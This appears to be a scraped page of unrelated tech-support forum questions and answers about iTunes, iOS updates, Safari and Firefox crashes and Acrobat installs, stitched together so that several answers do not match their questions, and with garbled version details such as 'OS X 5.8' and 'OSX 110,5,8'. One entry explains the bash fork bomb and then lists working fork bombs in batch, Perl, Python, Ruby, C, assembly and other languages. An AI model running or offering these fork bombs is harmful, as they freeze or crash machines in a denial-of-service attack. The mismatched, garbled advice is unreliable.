how do i find which Apple ID is associated with music in my iTunes? When I sync with my iPad and iPhone it tells me I have music, apps etc from more than five IDs. I am asked for PW for a number of now extinct accounts.
Go to Settings/icloud. The Apple ID at the top of the screen is the only one you need to be concerned about. That one MUST be a working ID, and you must know the password for it, or you will be unable to use the phone if it ever crashes, you want to update it, or you want to sell it.

why will some websites which loaded fine before now not load - when other favourites load fine, and new searches are fine? This only affects 2 websites, both of which were bookmarked. I have removed them as bookmarks and this makes no difference.
From the Finder menu bar click Go > Go to Folder
Type or copy paste the following:
~/Library/Caches/com.apple.Safari/Cache.db
Click Go then move the Cache.db file to the Trash.
Quit and relaunch Safari to test. -
I have an older mac book with the OS X 5.8. I just recently purchased the iphone 5 and was going to back my phone up (contacts, ect) itunes notified that i need OS x 7 or greater. I went to itunes.com to download this upgrade. To download I have to go to the app store to purchase it for $20, yet I dont have appstore app on my computer so can not ind here i can download this update.
You don't have to go to App Store to buy 10.6.8 Snow Leopard. Follow the notes below.
First, check that your machine is suitable for Snow Leopard. It needs to be a Mac computer with an Intel processor.Double check by reading the specs.
Mac OS X v10.6 Snow Leopard -Read the Technical Specifications
To buy the DVD, if you are from the USA go to http://store.apple.com/us/product/MC573/mac-os-x-106-snow-leopard.
In Europe or otherwise substitute your national code in place of /us above.
In the UK see … Mac OS X 10.6 Snow Leopard - Apple Store (UK)
Before you start upgrading, back up your files.
Once you have upgraded to Snow Leopard, if your upgrade took you to 10.6.3 you will need to apply the Combo updater. Mac OS X 10.6.8 Update Combo v1.1 and follow with a software update to pick up the most recent security updates.
This will take you to Snow Leopard and put the App Store in your applications folder.
Good luck. -
ICloud makes Firefox crash. Any solutions to this?
Hey!
I've been using iCloud Bookmarks on my PC for a long time, with Firefox. It has always worked like a charm. Of course it hasn't been like using my Mac with iCloud, but it works. But a couple of weeks ago it started to make my Firefox crash. I don't know if the problem is some recent updates by Firefox, or what's wrong. Has anybody experienced something like this?Try to keep you plugins up to date to make sure that there are no issues:
*[[Update Firefox to the latest version]]
*[https://www.mozilla.org/en-US/plugincheck/]
However based on the recent comments of the add on: [https://addons.mozilla.org/en-US/firefox/addon/icloud-bookmarks/?src=search] you are not the only one. I would recommend contacting the developer of the add on for more information. -
Compaq laptop with 500MM memory
Startpage(s) is Google and LinkedIn logon screens
Disabled all but Flash and Java
9 out of 10 times (ish) FF launch's with 0 plugin-containers.exe
When 13 launch startpage will not load
When startpage does not load I reboot, start FF, and usually don't have a problem.
After hours on the computer it becomes unusably slow and there will be 13 plugin-containers.exe
I know this computer is under powered but I only use it for mail and LinkedIn. Replacing or upgrading memory is not an option for me.Use the trackpad to scroll, thats what it was designed for. The scroll bars automatically disappear when not being used and will appear if you scroll up or down using the trackpad.
This is a user-to-user forum and most people will post on here if they have problems. You very rarely get people posting to say there update went smooth. The fact is the vast majority of Mountain Lion users will not be experiencing any major problems with the OS, or maybe with apps which are not compatible, but thats hardly Apple's fault if developers don't update their apps. -
Basically I recently installed Firefox 3.6 on my Mac Laptop, only 3-4 months old, so latest Sea Leopard OSX System whatever
Anyway once installed I decide to have a theme, then add some add on applications. This seems to be the problem
When I first tried to run it all the apps opened home pages and I kept trying to close them as they did
Next time I got less pages but then I could not access the Tools>AddOns menu before the Firefox browser crashed
What seems to be happening is that the Weather app takes forever to load, my Apple Mac goes into the circle (thinking) mode which means I cannot activate any menus or move my mouse. Then by the time I try and type in say google in the blank www URL address the browser crashed. I have tried going into safe mode using the Option but makes no difference
If I can somehow instal the irksome weather app or get access to the Tool >Add ons menu and uninstall each of the several apps I have daftly installed I know I can get a solution
Any help or suggestions appreciated since I still think Firefox is cool:-). its the apps or some of them that suck!Maybe you did't understand my previous statement. There are no crashes in FF 3.6, There is no previous evidence FF 14 was ever here, I completely uninstalled all trace of Firefox, no app data, no preferences, no cache. I will upgrade to FF14 so I can send IDs,
so here ya go.

Hi malcolml33267653,
Where did you downloaded the installer from?
Does the installation throws any exception error or any error code?
I would recommend you to use Acrobat Cleaner tool on your system( Download Adobe Reader and Acrobat Cleaner Tool - Adobe Labs) and try installing acrobat using this Link : https://helpx.adobe.com/acrobat/kb/acrobat-downloads.html

Do not have software updates section in settings! How do I update my iPod without that?
A 3G can go to iOS 5.1.1 and requires iTunes version 10.5 or later. If you have a Mac that requires OSX 110,5,8 or later
Are you sure you really do not have a 2G iPod? Those can only go to 4.2.1
Identifying iPod models
iPod touch (3rd generation)
iPod touch (3rd generation) features a 3.5-inch (diagonal) widescreen multi-touch display and 32 GB or 64 GB flash drive. You can browse the web with Safari and watch YouTube videos with Wi-Fi. You can also search, preview, and buy songs from the iTunes Wi-Fi Music Store on iPod touch.
The iPod touch (3rd generation) can be distinguished from iPod touch (2nd generation) by looking at the back of the device. In the text below the engraving, look for the model number. iPod touch (2nd generation) is model A1288, and iPod touch (3rd generation) is model A1318. -
Hi
I want to reset my email password.
When I go to settings & then mail the account I want to change is in grey & so won't respond.
Any idea how I make it change to bold so I can go into it & change my password?
EHey Esmerelda17,
Thanks for the question. I understand you are wishing to change the stored password for an email account on your iPad 2.
If you are unable to edit this field, you may want to remove and re-add the account. Please make sure to back up all of your information before doing so. Also Note: if this is an external email provider, you'll need to reset your password using their website, then update your iPad to reflect the new password.

"print this page" firefox crashed. How can I get back to that page?
Sending my ipod nano in for repair. Lost the page at the end that needed to be printed and brought to a ups store. Now I can't seem to get back to that.
Can I just print out the status page or something? I didn't even get to see what information was really on it.I did it all online so I haven't contacted tech support yet, but it looks like I might have to for this simple little issue

Why does this make *nix crash ?
why does
:(){ :|:& };:
make my system crash ?
* Don`t try it if you don`t want to crash your box:(){:|:&};:
can also be viewed as
function(){
function|function&
Does this look more familiar? It's basically a standard bash function. The code you posted, called a forkbomb, creates a bash function called ":" which calls itself recursively twice through a pipe and sends the recursion call to the background. Basically, this causes the process to fork (or split) itself forever. This creates a huge number of processes which overrun your CPU, causing your precious computer to freeze/crash/whatever.
Sending the second function call to the background causes the calling function to not wait until the call returns. Since there is no stop condition for this recursion, the function would wait forever allowing you to kill it and all its children with ^C. Since the recursion call is running in the background, the calling function will complete immediately making it damn near impossible to kill its child processes.
So why call it twice? Because of the recursive call in the background, the calling process dies as soon as it makes the recursive call. Hence, if we only call it once it will always have one process replacing its parent, defeating the purpose of a forkbomb.
What's the point? It's a denial of service attack, plain and simple.
Various other type of forkbombs...
Windows
%0|%0
-or-
:s
start %0
%0|%0
goto :s
Perl
fork while fork
Haskell
import Control.Monad
import System.Posix.Process
forkBomb = forever $ forkProcess forkBomb
Python
import os
while True:
os.fork()
Ruby
loop { fork }
C/C++
#include <unistd.h>
int main(void)
while(1)
fork();
return 0;
NASM
section .text
global _start ;Call start
_start:
push byte 2 ;syscall to Linux fork
pop eax ;set EAX argument for fork to NULL [So it works in strings]
int 0x80 ;Execute syscall with fork & the EAX [null, above] argument
jmp short _start ;Go back to beginning, causing a fork bomb
Lisp
(defmacro wabbit () ;; A program that writes code.
(let ((fname (gentemp 'INET)))
`(progn
(defun ,fname () ;; Generate.
nil)
(wabbit))))
(wabbit) ;; Start multiplying.
* Disclaimer: It's not my fault if you fuck up your system trying these out.
** Edit: Wow... in the time it took me to write that up a crapload of people answered the question... oh well.

After your most recent update to Firefox, I can no longer use Roboform in your browser which renders Firefox USELESS to me as a browser...WHY?
This will be fixed as soon as RoboForm tests their add-on and marks it compatible with Firefox 7, or you can install the [https://addons.mozilla.org/en-US/firefox/addon/add-on-compatibility-reporter/ Add-on Compatibility Reporter] to enable it yourself and report whether it works.

Firefox crash stops Safari from connecting to internet
Since my Firefox 2.0.0.9 crashed last week, I have had very odd problems with my WiFi (Earthlink through an Apple Airport). Network Diagnostics says everything is okay, but Safari can no longer connect to the internet, and after Firefox crashes I can not even send Apple an error report. Yet I can get online with Firefox, as I am now.
The problem apparently started EITHER when I upgraded to the latest Firefox or when I tried to place an order at <http://www.senacases.com/> (or both). After Firefox crashed multiple times while trying to place an order at <http://www.senacases.com/>, I opened Safari, which would not connect.
I ran Network Diagnostics which said everything is fine. But Firefox continually crashes trying to place an order at <http://www.senacases.com/>, Safari continues not connecting, Network Diagnostics continues to say everything is fine, and now I can't file an Apple Error Report and trying to connect to some of the library services at Notre Dame (something I have always been able to do before), makes Firefox crash.
The only other possible symptom I have noticed is that I could not connect to a Late Show video this morning. Otherwise, I can browse the web in Firefox, I can pick up my email with Entourage, etc.
How do I fix this?In Firefox 3.6.4 and later the default connection settings have been changed to "Use the system proxy settings".
See "Firefox connection settings" in [[Server not found]]
You can find the connection setting here: Tools > Options > Advanced : Network : Connection
If you do not need to use a proxy to connect to internet then select ''No Proxy'
Another possible cause is security software (firewall) that blocks or restricts Firefox without informing you about that, possibly after detecting changes (update) to the Firefox program.
Remove all rules for Firefox from the permissions list in the firewall and let your firewall ask again for permission to get full unrestricted access to internet for Firefox.
See [[Server not found]] and [[Firewalls]] and http://kb.mozillazine.org/Firewalls -
I have an ipod touch 64GB. I have 3,146 songs, 3 videos, 106 photos and 1 app. The capacity of my ipod is 58 GB (I guess the remainder is the OS), It says I have 7.6GB remaining. When I look at my ipod on Itunes on my laptop the bar at the bottom shows a huge amount of storage space is taken up by Apps. I don't have any apps apart from the ones which came with the ipod touch which I cannot erase and wouldnt really want to. I am baffled why it says so much storage has been taken up by Apps! Please help me!!!
Connect the iPod to your computer and look at the storage used by the various categories as shown in the colored bargarph in iTunes.
Come back with the results.
An "other" larger than about 1 1/2 GB usually indicates that the "other" includes corrupted files. Usually restoring from backup eliminated the corrupted files. However, sometimes restoring to factory settings/new iPod is required.
To restore from backup see:
iOS: How to back up
To restore to factory settings/new iPod see:
